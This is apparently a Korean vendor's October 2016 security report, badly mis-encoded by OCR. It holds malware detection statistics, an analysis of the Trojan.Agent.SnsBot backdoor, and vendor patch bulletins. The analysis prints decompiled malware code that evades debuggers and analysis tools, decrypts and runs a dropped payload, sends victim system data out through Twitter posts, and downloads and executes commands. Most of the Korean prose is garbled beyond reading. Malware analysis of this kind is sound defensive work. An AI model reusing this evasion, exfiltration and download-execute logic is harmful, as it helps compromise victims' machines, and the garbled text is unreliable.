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1. 4MTE S

2% oA TOP15

2 AETE Top 15 = AEAEPCOIM EIX[E AEYTEES 7 [HICZ L=5HSA 0|,

20164 10 22| Y AETE Top 15 EIAENA= X[ 9 20fl 1 IE XEXIZHEH MiscKeygen T EIH10 20l 1 /IE
XIX[RAC, AEAH| Trojan.Generic.18860361 LET =7t 2 $I1E RIXRECH, X[HE 6 KU en:Trojan.Heur.GZhw2@bWiyC000
71 3AIT HEBIALE Keygen QST EIH H G2 X 1 /IE XIS L=0| SWARBA| FECIS R3IE 2Ist Keygen
AB2 AETE REE 25t S27t E7| &Lt BESWE 0185h= A0| QTS PCARBS 9ISt XISZQ! & CHA| g Zx

=&t

29 52 opgmC Flcky Jkeime) AT
1 - Misc.Keygen Trojan 328
2 New Trojan.Generic.18860361 Trojan 273
3 t3 Gen:Trojan.Heur.GZ.hw2@bWfyC000 Trojan 272
4 New Trojan.Generic.19013803 Trojan 190
New Generic.JS.NemucodC.1FOEC29D Exploit 151
6 13 Misc.Suspicious.NTZ Etc 149
7 |3 Misc.HackTool.WinActivator Trojan 127
8 New Gen:Variant.Graftor.307826 Trojan 103
9 New Generic.JS.NemucodC.F3DEO5F8 Trojan 99
10 New Gen:Variant.Graftor.306968 Trojan 89
11 New Gen:Trojan.Heur.4yXa4u0y7qnG Trojan 77
12 t2 Gen:Variant.Graftor.311465 Trojan 62
13 12 Variant.Strictor.9778 Trojan 58
14 New Gen:Variant.Adware.Kazy.283047 Adware 57
15 113 Gen:Trojan.Heur.5yXa4CUW?7BfG Trojan 56
R =, A0E AZRIS| ZAFSAHS BHS10] MEst =)l 20163102 01€~2016H10E31Y
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AT FYE HIZ0M EZ0|50KTrojan) R40| 7HY B2 90%S AXIRICH XIXRICH 7 [ENE)RHO0| 7%= 1 FIS

7|Et
OH= 0] 7% = EZ0|50} (Trojan)
3% m ATO|YO] (Spyware)
= Of=0{ (Adware)
Z[2FH (Exploit)
=2 (Worm)

m 7|E} (Etc)
EEOIEDI‘ m Bi=0{ (Backdoor)
90% = HEO[Z{A (Virus)

» 50|71 (Hijacker)
B SAEM (Host)

7128 2HTE HIE ME Hlw

10 &oll= X[t 9 &ln} H|wisto] Hlg A2 EZ0|S0KTrojan) K89

OIMACT} AZ 244 BT, 7 [EKEORES| T}
SO{t HOR SIEIICE

e ——1 "
E=Z0| =0} (Trojan) 9%220

AT}0|0] (Spyware) | §%
OHEQI0l(Adware) 0%,
StoIxi7(Hijacker) | 8%

& (Worm) | 9% mo¥
F|2F™(Exploit) ﬁﬂ, 5% =108

HRO|2{A (Virus) | 9%
4= 0f(Backdoor) | 3%
SAEIN(Host) | 9%

TIEHELD) bl 7%
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QU0F QIERO|ES S8t AN AT 345
712t 201610801 ~2016 21031
EN N 4,002

71HES IS

IS AnETS Hig
e o 196 4.90%
s 72 1.80%
=7t 13 0.32%
71 10 0.25%
ZOIE 5 0.12%
M 4 0.10%
20150l 3 0.07%
mASH 2 0.05%
A 1 0.02%
FMESYS LS 1 0.02%
A0y 4150]
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el
H 22 A0 DRV IX|= Efbl 27 A0[QJ0| HEES XIXRICH, ZOIE AF 3 BN 2 A0|H0| M= SEIUC

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.



Part1. 10 82| 24T S

Q00| &2 10 8 FIFSH Al|A
Eoj2x}
== At LHE
1 O ZARIL O AEOHEEQIET20000p 2 LHEZ LICHGOA QI E
2 S7|AR X ETHSEYLICHLFAX|ZI/HELY
3 uE UAXHLHS LT
L=t
=% =Xt LHE
1 (Web'Zh&l] D|>ZEHH7FAS LICH%D %AZQIGH T Al ZHHZ LI
2 ZAEELIC 2016H7€15Y 14:00 EHEAYTEE HYUTET|
3 Webdl] “22] SMOISHE10E30Y 2F:6A| MARIYZEISHIZET}Y|
4 S7|AR 3 S7HSEYLICHFAX|E/HEALY
5 O ZARIL C AEOEEIEZ20000p 2 LHEZ LICHGOA QI E
6 (HO Y)W (I E])0f| @ (= )" & v L "CH~~
7 WebZd]201215QY
8 MYE mgs SRYEULL 238 528 ¥ HO|X|Z O|SELLC
9 CC:ag N3 2ZUHM M stAELUCH
10 us UAXELHE LT

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.



Of
-

Part2. 10 &

ol

My

N

m



Part2. 10 &2| 2483 E Ols

[Trojan.Agent.SnsBot]
AQEIC =M HIA

S #H0| TS 24 0[5 (RC AHHRIS] SAIS S510] IHE PCO| HEIS FohLL 571501 oNTES

ML R7IERl SXIS 48 Sh= 20| LRHOLCH,

O[3t 24 AH0| PHTESO| (RC A XIEHS Sa101 LT PCOIKID| 5715401 HSS 51x| 251
517 1101 LISl BFIEI MBS ABOPIL SR 2120l SNS S8 510 5% DS 2281 101 2871

2 PC 2| YBE ASI0101 22 AN S HAIS 55101 (RC MH IThS P3I5E k= HAI0] CA| 74 X1
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2. 4931

2.1 mjEe

SM =4

Detection Name File Name MD5 Size(Byte)
Trojan.Agent.SnsBot Zxcvbexe (C909CA40D1124FC86662A12D72E0FB78 836,487
2.2 HM 4
221 493 E BN 23]
FYTE "Trojan Agent.SnsBot'2 2 715 S&F 070f| ikl PC 2H450] T E EA 2tAQIXIE &0Isk | [0 3 71K
7|52 S5t 020 ANl 2 7SS SAf SiC
vl = GetModuleHandleA('ntdll.d11");

HtQueryInformationProcess = GetProcAddress(ud,

if { HtQuerylInformationProcess )
{
3 = GetCurrentProcess();
vh = {(HtQueryInformationProcess)(v3d, 8, &7,
w2 = uh == 8 7 vi - B8;
H
else
i
uZ = 8;
H

dwProcessId = 8;

u% = GetShellWindow();
GetWindowThreadProcessId{vs, &dwProcessId);
return v? dwProcessid;

(72 1) 52 Z2MA 20

KO TR 2T 2

ofXZ AHIFE EMS Ploli Q= TE LIHZ =715 OIS0 & & EL?
o =

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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"HtQueryInformationProcess™);

Bx18, 8);

=0
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2 Oll=

24 o2 AT} “explorer.exe” 7t OfECE
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BOOL _ stdcall IsDebuggerPresent_8()

{
BOOL vresult; fF eaxEd

result = IsDebuggerPresent();
LOBYTE{result) = result t= 8;
return result;

H
(32 2| Win32API £ S5t C|H 1 214 20

Win32 APl & Z2AMAC| CIHZE 2i215k= APl 2l IsDebuggerPresent &f+~E &o10] 2k Z2M|AL| CIHZ HEHE =01 it

if { tProcess32Hext{vD, &pe) )
{
LABEL_18:
CloseHandle{uvd);
return 8;
H
while { _strnicmp{&pe.szExeFile[1], "mtool™, 5u}
&& strnicmp(&pe.szExeFile[1], “11yd™, hu)
&& strnicmp(&pe.szExeFile[1], "ython™, 5Su}
&& strnicmp(&pe.szExeFile[1], “ilemo™, 5Su)}
&& _strnicmp(&pe.szExeFile[1], “egmon™, Su)
&& strnicmp(pe.szExeFile, "peid™, hu)
&& strnicmp(&pe.szExeFile[1], “rocex™, Su)
&& strnicmp(pe.szExeFile, "wvboxz", 4u)
&& strnicmp(&pe.szExeFile[1], "iddler", 6u)
&& strnicmp(&pe.szExeFile[1], “ortmo™, 5Su)
&& strnicmp(&pe.szExeFile[1], "iresha", 6u)
&& strnicmp(&pe.szExeFile[1], “rocmo™, Su)
&& strnicmp(&pe.szExeFile[1], “utoru™, 5Su)
&& strnicmp(&pe.szExeFile[1], "cpuie™, 5u} )
{
if { *Process32Hext{vi, &pe) )

[22] 3] A=l T2 )20 510]

ol A=|0] QU= BE D2MASS HARHH Z2MIAS| 0155 2210l £ Z2MAT Al S FR AT SA=
S=ol7| {610 14702 T2A|A 0|52 ZAFIC,. ZAloh= Z=MA S5 HTHEH AR 20N TE D2hASS SAIS
Tl oh= ELEHE AZS| D2 AT} CHE- OJC,
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OEhA H
1 | vmtoolsd
2 | olydbg
3 | python
4 | filemon
5 | regmon
6 | ped
7 | Procexp
8 | Vbox
9 | Filddler
10 | Wireshark
11 | Procmon
12 | Autorun
13 | Tepview
(2 1] =l th Z2MA

ofid 13712 2N~ S
oA EICt.

Jon

21 % {0 A3t 27H| Tl 1240 2H0I0] S OpTEL T Of SES 5| 04m B2

222 7t AITE & 7]

Hol— =

olr

EI:II 7:”01 ouk-|=n:g[ [HJIX‘IO[ 7|%8 Xlﬁ\_X‘IO| c&C A—l[j-lgl-ol EAlZ EOI-O:I x7|.1-|0| OI-A'IZHZE |:|- I-OI-AI%H A]?]h 7|%O|

o=

EX 2IT. S YT E0| AR St 7|sS 7HK[L A2 (RC MH2| CHR|= AtEok= S8 SNS AEQ| HAZ0 Ciet
2015 o7 | OFH0| 58 Z=0| I0| =X &f AR olig DS lioh= 7Is= 7KL /UL

if { check_jpgFile{) )
download_file(); £ IEOEZRE
hEncFile = fopen(c:WtenpWtesoftscrap.jpg™, "rb”});
if ( *hEncFile )
hEncFile = fopen{"c:Wtemptitepisoded. mpd’, "rb"};
ReadBuff = MemAlloc(@x2880080u) ;
Decrypt_DATA = ReadBuff;
if { hEncFile }
4
u3d = fread{ReadBuff, Bx488u, Bx488u, hEnckile);
fclose(hEncFile);
For ( i = @8; 1 € vd; ++1 )
Decrypt_DATA[i] ~= OXE8u; 7/ 5535 23
hpecryptFile = fopen("c:Wusersitappdatatlocaliisuchost..exe™, "ub™);
fuwrite(Decrypt_DATA, 8x488u, @, hDecryptFile);
fclose{hDecryptFile);
ShellExecuteA({®, "open", "c:Wusersitappdatatttlocalitsuchost.exe™, 0, 0, @) ;// THI&H

(72 4 57 22| T 2ol 2 4
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“‘c\temp\esoftscrap.jpg” A=0f| IA0| =XY & A ZHASHXOR SIS S3I0 IS =531 0|
“c:\users\appdata\local\svchost.exe” ZZZ20| M2 RIS A0 Ao S1A| ECt

-l

hinternet_1 = InternetOpenUrlA{ul, ‘I . 0, 0, 0x4060000u, 8);
hFile = hInternet_1;
if { hInternet_1 )
{
vilB@ = &duNumber0fBytesRead;
DownLoad_DATA = &Copy_Download DATA;
for { i = hinternet_1; InternetReadFile{i, DownLoad DATA, Ox488u, uif); i = hFile )
4
if ( *duNumber0fBytesRead )
{
InternetCloseHandle{hFile};
InternetCloseHandle{hInternet);
hHPL = fopen(“c:Witempiiepisoded . mp4™”, “wb™);
ué = hHPL;
if ( thiPy )
break;
furite(DownLoad_enc, 1u, mem_offset, hHP4Y;//7 CFEYIE DATAS 2= £CH
fclose{un);
Ul = B3
goto LABEL_12;

H
memcpy{DovnLoad_enc + mem_offset, &Copy_Download_DATA, dwNumberOfBytesRead);/7 22 DATAZS AL

(O3 5| m Cr2EE
[0 5] o Y CIREE 7|S2 [OE 4] 2| £ F=0f oY 2i010] HX| ks H2 S&tol= CIREE 7[SO|Ct,
223PC HE 47 U TS
AHTCO| 7|E2X01 7|52 LBE PCo HEHE £ SNS AEC=9| +8E HEE S SNS AHE Soto] TS U
2T QUCt
if ( 'GetUserMamefA{username, &lpn3ize} )}
{
#username = *="ProEdition";
sfusername[4] = ="dition";
*#Husernane[8] = *="on™;
username[18] = aProedition[18];
H
lpnSize = 2563
if { *GetComputerNamefA{computername, &lpnSize) )
strepy{computername, "Premium);
(22 6| PC K= 4
[0 6] 2 PC 2| AKZA} 02 2 ZHE 0|58 E5k= 7[S0(0 0 HIig 202t 4 01522 MESIT. 0|2(0=
2Tok= Y= 0S HE(32Bit / 64Bit) & Hst HE S0| XY 51, MHEHOZ MME M 53] SiCt,
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qmemcpy(headers, "“SHA-TOM-BRN-JHS-ROGC-JAN-PED-JHH-KIM-LEE-", B8x2%u});
u79 = (dword_558C4C | ((dword_558C48 | {((dword_5588F% | {dword_5508F8 << 8)) << 8)) << 8));
while { byte_S4DAAZ )
{
v7E = (rand() % 26 + 'a’');
choice_header = uw79;
v76 = check_authority_value;
u?s computername ;
u7h = &check 64 32;
u73 0s_Uersion;
w72 flag:
ui username ;
v70 = random value;
sprintf( /# Bind Userinfomation
send_data,
%5 ;%S %d ;%5 s %S ;% s %d s %d s %,
random_value,
usernane,
flag,
0s_Version,
&check_64_32,
computername,
check_authority_value,
u79,
u78);
crypt_function{send data, &u85); /¢ Crypt Userinfomation Data
vz = 8;
memset{send_data, 8, 8:4808080u);
u3d = GetTickCount();
srand{v3);
uig = L3
choice_header = &headers[4 = {rand{) % 9)]:;// Select Data Header
strncpy(&header_choiced, choice_header, v78);

u78 = &uBs5;
choice_header = &header_choiced;
vBd = B;

_snprintf{send_data, Bx8Bu, "%s%s", &header_choiced, &v85);// Header + EncData

(03} 71438 B2 T8 T

HH MEA0ll= 9702 2K “SHA', "TOM”, "BRN", “JMS”, "ROC", "JAN", "PED", "JHN", "KIM", “LEE"ZXIES Header £ YS3}H
Data £ =0 SNS O] AA[GHCY.

GET /1.1/statuses/user_timeline.json?&include_rts=true&trim_user=true HTTP/1.1..Host: api.twitter.com..Accept:
*/*..Accept-Encoding: identity..Authorization: OAuth oauth_consumer_key="sgpblyF1KukVKaPAePb3EGeMT",oauth_non

ce="147737646720e" ,0auth_signature="nIN5AIBXwFttQccAq217tfi0e%2B4%3D",cauth_signature_method="HMAC-SHA1",oaut
h_timestamp="1477376467",0auth_token="7575776336308593029-CQzXMfvsQ2RztFYawUPeVbAzcSnwllX",oauth_version="1.0"
..tion/x-www-form-urlencoded....status=TOM-1uP65C%21JWA2Poxi0ol1FHAORRNKXaGqwjoNMi8uSBi%2BI5HMxpZ020%3D. . .

WERESE YIS

72 §] © $HE 2 OPTCT S YRS SNS MHE SS3Hs HTTPGET SIE OIk

BZRIE CRC MH TRIOR 015H= S SNS AHE2| 20i= 2% PO 343 HHOIS TRIGH QT 241 Aok
S SNS 0| FX| {0 2210| 27} SIQIKIRt HYTE T LISI0f= HAIZ S 94T Sk 71550] ZXfolol 2412
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qmemcpy{&headers, “HMAC-SIL-TED-FOO-YIM-LAH-WAN-SEC-BIL-TAB-", Bx29%u);
for { i = strstr{al, "id_str@":W""); i; i = strstr{vin, "id_stry":w""") )
{

ul =i + 9;

ul = strstr(i + 9, "W",");

if ( tus )

break;

u5 = operator new{B8x141u);

memset{u5, 8, Ox141u);

strncpy{vs + 256, w3, vh - vi);

v = strstr{vs + 2, “textW W)

if ( tud || (v7 = u6 + 7, uB = strstr(us + 7, "W',"), (U9 = vB) == B8) )
1

operator delete(uS);

break;
}

strncpy{vs, v7, VB - W7);
*(aZ + 4 = (*(a? + @x1080))++) = vu5;
uvid = strstr{v?, “created_at");
if ( tulB )
break;

= az2;

for ( j = 8; j < ={aZ + Ox1000); ++j )

vl = (ui2 + 4 = ]),

*(*uil + 328) =

Strncpy(&SNSiﬂata, *U14, 4Ju);

vzl = B3

if { strstr{&headers, &SHS_Data) )

{

uvis

vi6

ui?

do

{
vig = =uié6;
v16[w17] = *u16;
++ul6;

y
[F2IIISNS AN Z by F=

*®uily
(*ull + 4);
{u21 - ulb);

SNS A ZE 2ieloto] 8 7|

O‘F
mjo

LR3I

—

case 'G': fF§ Dowunload & Execute Code
internetreadfile buff = MemAlloc{@x400000u);
if { InternetReadfile{{command 1 + Bx28), internetreadfile buff}) )
goto return_8;
ulh = UirtualAlloc{@, v?0 + 256, Bx1880u, B8x48u);
Function_DownLoaded = wild;
if ( vis )
{
memcpy{vi6, internetreadfile_buff, v28);
Function_DouwnLoaded{};
¥

goto exit;
b0 oe2E 7S

[O2 10| 2 £ 715 B SRl TS TREE 0% M2 k40| HXig! 0|1 §8 7158 +lich= Z=0|Ct.
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3. &

= A3TE TojanAgent.SnsBot 7 |22 =5 A|E2| SdTFE0| 7SS4t ot HBE YEE TSoll S4KI =

HIO} =701 SXF2 4381 G= AT 0|C}

Lo1=2To

9| oFdF T} EHEE TS0 L BHE Be (RC AH2| ZR0= =712l XFH0IA ISP KXo XHEHS
o0 7152l ?*—?—@OI =7ISoM tHSS0H7L, shidE MHE C&C MHZ 01Z5h= AR0= siZE MHo]| tigt ESE
& L K| ZobA| Sl 7t 20| =7ts SIACL Ol=fet HEE == o | 2loiM 2EHOZ AkZok= SNS
Soll 7421 SEE oM ol= AMZE 2ol SHok= 20| HIHFE EXtoRiC.

ﬂJlﬂJ
r_>.'_ 7]

SNS OPH0f|= =221+ 02 QIESI AMO|ES| ANZS 0l 2FETF =0} A E|H AKZsk= SNS 22 =271°| 23 &0
HEOIN F7PHR1 ZXPHEQ0! O|2fet 7SS S of0] HE 24 X =X 2RI
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1
0l

=23, QUEI PC184 ZioH. it QXIE ZX|
98 29 2= 2 AFH 30 27K eh=2d QB HE PCE 184 TV HLSE! EIX| o2 o7t 2t A0 CHsHo]
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22 788 QHU SR77IS oiidol] ANEE QASHSE 712X Th=E Z2MOIE AES AMS0 QIES 2000 2&set
AFS0| ZE0| HEEI, O AH2 T2 EORUZ[7 o1zl VIS8 S77IE IR SIACH, Ifsh 212 SR/ 1= <
3000-4000 CHZ F=F=11 QUL 0[0f] ABAIE2 SR7IE 37 IKC2 HHI0|E SHH =7| &2(X 00|C|2t 4SS HIFHOF
ST S,
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- D[R, S32A0[mjo] 122000714 75 SE X7| 2d

OJ2H= XK, O|SARE Ef=dol 2012 ASE] X[H6i7EK] 1 2H1280 7HAS 1571 SIRCH, 001 = 1 2t 2300 7HA0
SS2A0|IO|7 2FECE. 2017 H7HK] 1 2H2000 7145 ASeltts I SHE 27| 2EUCH, LHE 1000 7442 7t
JHESIH X SS2A0MOL= 1 23300 742 SOHT SS2AOMO| A2 MU AAIF 7HAISLHIE 20111

FURIEN HEEs =0I= Al SX0|CH TSAER SAAE, F2RIE], 2214 S0| EX| 0|,
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10 BO| FIoHX Ol

Microsoft 10 & A7| HO HH|0|E

— Intemet Explorer & HOt 24H|0|E(3192887)

L

0] 10t IHIOIEL Intemet Explorer ] £ICFSS: SZIBILICE O] S0 73 Aj245t £IPKIS ASAPH Intemet Explorer S
AKZ5101 S+ HIAHE 2 HOIXIS & A9 #7 TE A2 5183 4 USLICE 0] FI2H R0 AT3 B2KI= ity
AREIoH St MK} HEIS HS 4 USLITE B ASAPH ERIK HEIOR 2725t A9 THRP} Fafit ANEIS

RIO1Z! 4+ QUSLICE O E21 BZRP B2 TS MR{5PLE HO[ES E7L HZEIAL ARIBIALL BE ARGt 3i0)

U= M AEE 2= 4= USHCL

0

f

— Microsoft Edge 2 =X HOt ¢H|0|E(3192890)

0] 12t IHI0|E= Microsoft Edge 0| FI2PIS SHZIBILICE O Z0IA 7HS 412iet FOPIS AIBXI | Microsoft Edge 2
AKZ5101 S+ HIAHE 2 HOIXIS & A9 #7 TE A2 5188 4 USLICE 0] F2H R0 4T3 B2KI= ity
AREIQH SUB MK} HEIS A 4 USLICL ARHON T S AR} #3IS 7HRIES TS Ao| TS iRt
10| QU= AIBRHECH BBS T W2 4 ULIC

- Microsoft Z12{Z! M QA8 HOt IH[0]E(3192884)

0| 22t AH|0|E= Microsoft Windows, Microsoft NET Framework, Microsoft Office, HIZLIA-E Skype, Silverlight 2! Microsoft
Lync 8| FIFES SHZARILICE O] SOlA 7P A2ich FFI2 AZAPH B HEFE & AO|EE WEoIAHLE S MIEE
TAE & 42 ¥4 TE AUS 5188 = USLICH AIARIIM O F2 ARBAL HBHS 7= 7L E APEe| ARBKI=
HEXt HoCZ XiPioh= AIZAIEL Fats B e = UsLC

— Microsoft Office 2 EQt YH|0|E(3194063)

0] EOt A0 [Ex= Microsoft Office 2] F|fS SHZASILICT Microsoft Office AZEY[0{7f RTF IS HM|CHE X2[6HK| Zok=
42 Office AZEY|0{04| Office RTF %_P—. T A Fopd0| =XHSILICE O[2fst FotM AE0| dSct SZRK= SRl AL

HEAEO|A Qolo] TS At 4 QLI
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~ Microsoft H|C|2 ZIEEE HOt HL|0|E(3195360)

0] (0t AEOIEE Microsoft Windows © £12FSS SHZIBILICL Micosoft HIEIR ZEZ0| HIZ2{0iM KIS Z6H
F2I5IK| 2ol= A Z4Q 0] ZIQAMO R OlsH 274 T AlSHO| FIRE! & QESLICH 0245 Z|0kA OFR0)| AT ?_} AR
S 30”% QUSLICE BHRIZH B2RK= MEAPH S HISHE IHl i # HOIRLL

- Windows 712 2 E2}0|HE HOt YH|0|E(3192892)

0] 119+ {E0|E4= Microsoft Windows 2 FIORSS SZBILICY, O[2fet SR 25 T SIgiet HIORIOR Ol B2}
S AJASI0| 2725/01 FOPS O1B5HT FEHHE AAHIS HOf3t 4 Q= S4 HAIE S8 D2 IHS Aast A9

(o]
o
et J50] 5182 & UBLIC

- Windows HIXIAEZIE HOF HH0|E(3193227)

O] 22t FHI0|E= Microsoft Windows 2| F2F&S SHZEILICE 0] FIFF2= Qlo SARP L SQet ai|X|AER] FHHO|
AMASE = U= FR Tt &S0] oiEE o= UBLI.

- ZIE 528 Hot ALI0]E(3193229)

0] 22t YH|0|E= Microsoft Windows 2| F|2FdS SHZRILIC. 0] FFE9= Qlol| SHAP | et AAEN 2020 =
(o] E=

S HEet S8 Z2O3S s 39 Hot &S0] 5182 = UsUCL

djm

— Microsoft QIE{4 HIAPE API-& HOt FHI0|E(3196067)

FHLICH Microsoft QIE{S BAE! API 7} Bi22]0] JHRIS: SRfEish|
OIS0| 4T3t THA= CIATO| Y Y28 HAES 4 UL

OO L- O™

0| Ot |0 [E= Microsoft Windows 2] F{FMS 1A
2[6te 4R HE RF FIPH0| £XHELCY. O] Fefd

— Adobe Flash Player & &t AHI0|E(3194343)

0] Eot |0 [E= X[EEl= 2= B2 Windows 8.1, Windows Server 2012, Windows Server 2012 R2, Windows RT 8.1 %!
Windows 10 0| A4X|=l Adobe Flash Player 2| £[2FM8S SHZASHICT

- oz
Windows Update 28$514L+ Microsoft 519F K] 295 OISO 8 SORISe JHxiol x| LS Ciezs we 4
QUSLICE

$k= : http:/ /technet microsoft.com/ko—kr/library/security/ms16-Oct
&= : https://technetmicrosoft.com/en-us/library/security/ms16-Oct
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Dell EMC TS F|2Fd HoF &H[0|E #H41

Dell o] KeAt] EMC TEZOIA 2711 o] FE A3 3 U2H0] 7ts FS ofzet Bt HH0|E Wi
TR} FPS 0185101 IHS WAAIZ 4 0] SHY HIESS AIZols OBXISS ARIHFHOE efE0|=

=

- M8

EMC Replication Manager OfjA] 'Ai5H= Q10| FE AlsH F{oFH(CVE-2016-0913)

vApp Manager ¢! IE2|H|0242] GeneralCmdRequest, PersistentDataRequest, RemoteServiceHandler 22HAO|A IRt ZfS
ZSSIK| L0t LMlish= 10| A= AdH FIOFM(CVE-2016-6645)

vApp Manager ¢! 0E2|H|0242] GetSymmCmdRequest, RemoteServiceHandler 22HA0IM QIXt 22 ZS6HK| 20t
LMGH= Q9| T E ARl FOFH(CVE-2016-6646)

%%F HiE= A EO_”()-]]

o =

—

0 EMCReplication Manager

— EMC Replication Manager version 5.5.3.0_01-PatchHotfix 0|2+ B
— EMC Network Module for Microsoft 8.2.3.6 0|2t B

0VApp Manager

— EMC Unisphere for VMAX Virtual Appliance 8.3.0 0|2t HH

— EMC Solutions Enabler Virtual Appliance 8.3.0 0|2 A

ol

Had

0

0 FI2FH0| 2t ME2| 2SXAk= oiid M 22lott] 2of IiX| XHE

—

0

0 EMC Replication Manager AF2 Xt

- E0|X| 21 AX]: hitps://support.emc.com/downloads/ 1293_Replication-Manager 23 0{|A sHE HES CIRE=510]

IH0|E ZI3Y
0 EMC Network Module for Microsoft AKX}

- SH|0|X| 2% AX|: hitps://support.emc.com/downloads/ 1095_NetWorker ZIF0|A] SHE HFAS CHRZ =510 YH|0|E

X

—

Ol
=

0
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0 EMC Unisphere for VIMAX Virtual Appliance AKX}

- EH|0|X| 2P AX[: https://support.emc.com/downloads/27045_Unisphere-for-VMAX Z30|A] sHE TS CHREE=SI0
M0 |E TI3H

o

0 EMC Solutions Enabler Virtual Appliance AKX}

- SH|0|X| 2k X[ https://support.emc.com/downloads/2071_Solutions—Enabler 230{|A i HMS CI2EE010
M0 |E TIsH

o

Cisco MSa LI FH HOF HH|0|E A1

BRI S IS QIS FZATEA MHIA HE SO| IS LA 4 OB, S HIHMOR 0|E

H

- M8

0 Cisco 10S, 10S XE AILEL0] AH|A 745 FOFH(CVE-2016-6289) [1]

o Cisco ESA #24 X0] FI2F(CVE-2016-6406) [2]

o Cisco ASADHCP 20| MHI* HEL FOF(OVE-2016-6424) [3]

0Cisco NX-OS BGP ZEEZ /& £[2FM(CVE-2016-1454) [4]

0 Cisco 7600 2FRE], 6500 A2 |x| ACL 23| FI(QVE-2016-6422)[5]

0 Cisco NX-0S Z=ZH=l DHCPv4 T2l AfH|A 75 FIF(CVE-2016-6392) [6]

0 Cisco NX-OS ZEHEl DHCPvA THZ! MH|A 75 F{OF(CVE-2016-6393)[7]

o Cisco Firepower Threat Management 23 B A3l FF(CVE-2016-6433)[8]
o Cisco Firepower Management Center &l 22 LFI F2F(CVE-2016-6435) (9]

% LFI: Local File Include

0 Cisco 10S, 10S XE IKEv2 AfH|A 78 FIOFH(CVE-2016-6423)[10]

0 Cisco [0S XR ATEY0] CLI FIFH(CVE-2016-6428)[11]
0 Cisco Nexus 9000 Mt =& F|QF(CVE-2016-1455)[12]

0 Cisco NX-0S HIZ 215, st 20] LAY 23| F[eFH(CVE-2016-0721)[13]

o Cisco Nexus 7000, 7700 AIX[9] OTV HHRHEZ LS S5 1T AlSH0| 7H55H FIE(CVE-2016-1453) [14]
0 Cisco CUIC 2TEQ)0] I2A AO|E AFZE F|FH(CVE-2016-6425)[15]

0 Cisco CUIC ATEQ|0 215 2 F|oFN(CVE-2016-6426)[16]

0 Cisco CUIC AZEY0{ CSRF FUR(CVE-2016-6427)[17]

0 Ciso [0S, I0S XE AZLEQ0] NTP AfH|A 75 FIFE(CVE-2016-1478)[18]
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SIOFEI0] 285t Cisco ATEQOH ARIE Gisco BHIO] LAY, Sl HIAOIE0) BAIEIO] 2= Affected Products
ig Eolsiol, x| &g

[ZAIE]

[1] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa—20160620-ist

[2] https:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/dsco-sa—20160922-esa

[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-asa—dhap
[4] https:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa—20161005-bgp

[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa—20161005—catalyst
[6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco—sa—20161005-dhcp1

[7] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa—20161005-dhcp2
[8] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/dsco-sa-20161005-ftmc

[9] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc2
[10] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco—sa-20161005-ios-kev
[11] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-iosxr
[12] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/dsco—sa-20161005-n9kinfo
[13] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-nxaaa
[14] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco—sa-20161005-0tv

[15] hitps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ dsco-sa—20161005-ucis 1
[16] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/disco-sa—20161005-ucis2
[17] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/dsco—sa-20161005-ucis3
[18] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/disco-sa-20160804-wedge
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Adobe Acrobat £l F2FH HOF YL|0|E #H1

Adobe iit= Acrobat DC/Reader DC & XI 0| Liiok= F|ofMS olidst Hot AH0|ES WH [1]
2 T AZAR= QETE 2H0| Fret 4= U0 shadleto] mat =i HHo = HH|0[E #1

- SMEE
Adobe Acrobat 2| 71 7H FFE0f| Ciet 2F ZH|0|E L [1]

- Yo FE HAO= 0|01E 4= U= use-after-free FAE(CVE-2016-1089, CVE-2016-1091, CVE-2016-6944, CVE-2016-
6945, C(VE-2016-6946, CVE-2016-6949, CVE-2016-6952, CVE-2016-6953, CVE-2016-6961, CVE-2016-6962, CVE-
20166963, CVE-2016-6964, C(VE-2016-6965, CVE-2016-6967, CVE-2016-6968, C(VE-2016-6969, CVE-2016-6971,
CVE-2016-6979, C(VE-2016-6988, (VE-2016-6993)

- Qlo] FE AOR 0[0fH 4+ U= &) HIl QHZZL FOFE(VE-2016-6939, (VE-2016-6994)

- 22| TE MO 0|01E 4= U= 2| 24 FIAHE(CVE-2016-6940, (VE-2016-6941, (VE-2016-6942, CVE-2016~
6943, CVE-2016-6947, C(VE-2016-6948, CVE-2016-6950, C(VE-2016-6951, CVE-2016-6954, CVE-2016-6955, CVE-
20166956, CVE-2016-6959, C(VE-2016-6960, CVE-2016-6966, CVE-2016-6970, CVE-2016-6972, CVE-2016-6973,
QVE-2016-6974, CVE-2016-6975, CVE-2016-6976, CVE-2016-6977, CVE-2016-6978, CVE-2016-6995, CVE-2016-
6996, C(VE-2016-6997, CVE-2016-6998, CVE-2016-7000, CVE-2016-7001, CVE-2016-7002, CVE-2016-7003, CVE-
2016-7004, CVE-2016-7005, CVE-2016-7006, CVE-2016-7007, CVE-2016-7008, CVE-2016-7009, CVE-2016-7010,
CQVE-2016-7011,CVE-2016-7012, CVE-2016-7013, CVE-2016-7014, CVE-2016-7015, CVE-2016-7016, CVE-2016~
7017,CVE-2016-7018, CVE-2016-7019)

—Javascript API AIBHOZ 0|0HE! 4= Q4= 23] FIFM(CVE-2016-6957)
- 7|Z=0]| THX|=! FokH0]| Chet 2Ot 7| 23| £ (CVE-2016-6958)

— 0Jo] FC AIBHOZ O|O4R! 2 QL= KA QHIZZQ X[OFK(OVE-2016-6999)
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[O=l%t HE— AJIEO_”O-”

OO0 - 1———T

